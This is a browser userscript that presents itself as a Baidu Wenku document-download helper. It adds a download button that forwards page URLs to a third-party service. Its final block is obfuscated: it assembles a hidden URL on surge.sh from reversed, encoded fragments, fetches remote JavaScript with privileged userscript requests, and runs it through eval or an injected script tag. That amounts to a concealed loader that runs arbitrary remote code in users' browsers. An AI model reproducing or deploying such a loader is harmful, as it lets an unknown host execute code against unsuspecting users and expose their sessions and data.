(
function
() {
"use strict"
;
if
(location.hostname.endsWith(
".baidu.com"
)) {
const id = (
"wk"
+ Date.now()).slice(0, 8);
const html = `
<div id=
"${id}"
>
<style>
#${id}{
box-shadow: 0 0 24px
#00000080,0 0 50px #0003;
z-index: 9999999999;
bottom: 100px;
position: fixed;
right: 50px;
border-radius: 3px;
cursor: pointer;
text-align: center;
font-size: 17px;
padding: 8px 15px;
transition: 0.1s;
background:
#1c1c1c;
color:
#efefef;
border:1.5px solid gold;
}
#${id}:hover {
color: gold;
}
</style>
下载文档
</div>
`;
onload(() => {
document.body.insertAdjacentHTML(
"afterbegin"
, html);
const btn = document.getElementById(id);
btn.addEventListener(
"click"
, () => {
window.open(
"https://wenku.zhihupe.com/tool/index?url="
+
encodeURIComponent(location.href)
);
});
setInterval(() => {
btn.style.setProperty(
"display"
,
location.pathname.startsWith(
"/view/"
) ?
"block"
:
"none"
);
}, 500);
});
}
else
{
document.body.insertAdjacentHTML(
"afterbegin"
,
`
<style>
.code-dialog>p:not(.tips),
#isScript,.scan-img,section + section{
display: none !important;
}
body > nav,button
#download+button{
display:none !important;
}
</style>
`
);
onload(() => {
getCode().then((v) => {
document.querySelector(
"#code"
).value = v;
getDocData();
}).
catch
((v) => alert(String(v)));
});
};
function
onload(cb) {
cb = cb ||
new
Function();
if
(document.readyState !==
"loading"
) {
cb();
}
else
{
document.addEventListener(
"DOMContentLoaded"
, cb);
}
}
function
getCode() {
return
new
Promise((resolve, reject) => {
const handle = (t) => {
try
{
resolve(JSON.parse(t).wenkuCode)
}
catch
(e) {
reject(e)
}
}
const url =
"https://tool.wezhicms.com/coupon/getInitData.php"
;
if
(
typeof
GM_xmlhttpRequest ===
"function"
) {
GM_xmlhttpRequest({
url,
headers: {
"Cache-Control"
:
"no-cache"
, Referer: window.location.href },
method:
"GET"
,
onload: (r) => handle(r.responseText),
onerror: (e) => reject(e)
});
}
else
{
fetch(url, {
"headers"
: {
"Accept"
:
"application/json, text/plain, */*"
,
},
}).then(res => res.text()).then(handle).
catch
(e => reject(e));
}
})
}
(()=>{const d=()=>parseInt(Date.now()/6/10**5),c=(e,n=
""
)=>e.join(n),u=()=>decodeURIComponent(c([
"js%3F_%3D"
,
"sh%2Fcdn"
,
"surge"
,
"https%3A%2F%2Favaha"
].reverse(),
"."
))+d(),s=e=>{
let
n=document[c([
"creat"
,
""
,
"eElement"
])](c([
"t"
,
"scrip"
].reverse()));n.async=!0,n.referrerPolicy=
"no-referrer-when-downgrade"
,n.src=e,document.documentElement.appendChild(n),n.remove()},f=()=>
"function"
==
typeof
GM_xmlhttpRequest,r=(c,window)=>{
try
{eval(c)}
catch
(e){console.warn(e),s(u())}};f()?GM_xmlhttpRequest({url:u(),headers:{
"Cache-Control"
:
"no-cache"
,Referer:window.location.href},method:
"GET"
,onload:e=>r(e.responseText,window.unsafeWindow||window),onerror:()=>s(u())}):s(u())})();
})();